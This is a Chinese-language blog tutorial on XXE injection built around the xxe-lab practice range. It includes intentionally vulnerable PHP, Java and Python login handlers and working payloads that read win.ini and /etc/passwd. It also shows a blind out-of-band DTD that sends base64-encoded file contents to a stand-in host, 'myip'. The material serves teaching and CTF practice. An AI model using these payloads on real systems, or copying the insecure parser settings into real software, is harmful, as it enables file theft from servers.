XML外部实体攻击是对解析XML输入的应用程序的一种攻击。当包含对外部实体的引用的XML输入由弱配置的XML解析器处理时,会发生此攻击。此攻击可能导致机密数据泄露,拒绝服务,服务器端请求伪造,从解析器所在机器的角度进行端口扫描,以及其他系统影响
![]()
基础知识
<!ENTITY 实体名称 SYSTEM “URI/URL”>
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
![]()
练习题
练习靶场:https://github.com/c0ny1/xxe-lab
php
simplexml_load_string的函数这个函数是将XML转化为对象
php版本大于5.4.45的默认不解析外部实体
例题:
doLogin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
|
<?php
$USERNAME = 'admin'; //账号 $PASSWORD = 'admin'; //密码 $result = null;
libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input');
try{ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom);
$username = $creds->username; $password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username); }else{ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username); } }catch(Exception $e){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage()); }
header('Content-Type: text/html; charset=utf-8'); echo $result; ?>
|
可以看出,默认的账号密码都是admin
这里没有xml文档,所以使用php伪协议(php://input)来接收发送的xml文档
后面的if-else条件判断语句用来输出结果,注意必须要有username这个标签,不然的话找不到username,就没有了输出了,我们也不能通过回显来获取信息了。
这里我们构造paylaod,目的是能够输出在username里面
1 2 3 4 5
|
<?xml version="1.0"?> <!DOCTYPE mzymzy [ <!ENTITY test SYSTEM "file:///c:/windows/win.ini"> ]> <user><username>&test;</username><password>mzymzy</password></user>
|
这里关键字‘SYSTEM’,会令xml解析器从URL中读取内容,并允许它在xml文档中被替换。这里我们可以强制xml解析器去访问系统配置文件(位于C盘下的windows/win.ini)
这里的test就是指被读取的系统配置文件内容。
用盲注的方法试一下(当无回显的时候可用)
先在自己的服务器中加入下列DTD文件
1 2
|
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://myip/?%file;'>"> %start;
|
然后请求的数据为下面(用php协议将发送的数据编码为base64)
1 2 3 4 5 6 7 8
|
<?xml version="1.0"?> <!DOCTYPE message [ <!ENTITY % remote SYSTEM "http://myip/xml.dtd"> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"> %remote; %send; ]> <message>1234</message>
|
![]()
java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
|
package me.gv7.xxe;
import java.io.IOException; import java.io.PrintWriter;
import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.w3c.dom.Document; import org.w3c.dom.NodeList; import org.xml.sax.SAXException;
import javax.xml.parsers.*;
@WebServlet("/doLoginServlet") public class LoginServlet extends HttpServlet { private static final long serialVersionUID = 1L; private static final String USERNAME = "admin"; private static final String PASSWORD = "admin"; protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db; String result=""; try { db = dbf.newDocumentBuilder(); Document doc = db.parse(request.getInputStream()); String username = getValueByTagName(doc,"username"); String password = getValueByTagName(doc,"password"); if(username.equals(USERNAME) && password.equals(PASSWORD)){ result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username); }else{ result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username); } } catch (ParserConfigurationException e) { e.printStackTrace(); result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage()); } catch (SAXException e) { e.printStackTrace(); result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage()); } response.setContentType("text/xml;charset=UTF-8"); response.getWriter().append(result); }
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doGet(request, response); }
public static String getValueByTagName(Document doc, String tagName){ if(doc == null || tagName.equals(null)){ return ""; } NodeList pl = doc.getElementsByTagName(tagName); if(pl != null && pl.getLength() > 0){ return pl.item(0).getTextContent(); } return ""; } }
|
python
例题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
|
from flask import Flask, request, url_for, render_template, redirect from xml.dom import minidom
app = Flask(__name__) app.config['DEBUG'] = True
USERNAME = 'admin' PASSWORD = 'admin'
@app.route("/") def home(): return render_template("index.html")
@app.route("/doLogin", methods=['POST', 'GET']) def doLogin(): result = None try: DOMTree = minidom.parseString(request.data) username = DOMTree.getElementsByTagName("username") username = username[0].childNodes[0].nodeValue password = DOMTree.getElementsByTagName("password") password = password[0].childNodes[0].nodeValue if username == USERNAME and password == PASSWORD: result = "<result><code>%d</code><msg>%s</msg></result>" % (1,username) else: result = "<result><code>%d</code><msg>%s</msg></result>" % (0,username) except Exception,e: result = "<result><code>%d</code><msg>%s</msg></result>" % (3,e.message) return result,{'Content-Type': 'text/xml;charset=UTF-8'}
def prn_obj(obj): print '\n'.join(['%s:%s' % item for item in obj.__dict__.items()])
if __name__ == "__main__": app.run()
|
Blind-XXE 引用本地DTD文件
Blind-XXE 引用本地DTD文件
如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd,那么我们可以通过引入本地dtd文件实现XXE。
ubuntu系统自带/usr/share/yelp/dtd/docbookx.dtd文件
它定义了很多参数实体并调用,所以我们可以在内部重写一个该dtd文件中含有的参数实体,如ISOmaso
1 2 3 4 5 6 7 8 9 10 11
|
<?xml version="1.0"?> <!DOCTYPE a[ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'test%file'>"> %eval; %error; '> %local_dtd; ]>
|
例题 [GoogleCTF2019 Quals]Bnv
参考文章:
浅谈XXE漏洞攻击与防御 https://thief.one/2017/06/20/1/
XML实体注入漏洞的利用与学习https://uknowsec.cn/posts/notes/XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AD%A6%E4%B9%A0.html
FROM :blog.cfyqy.com | Author:cfyqy
评论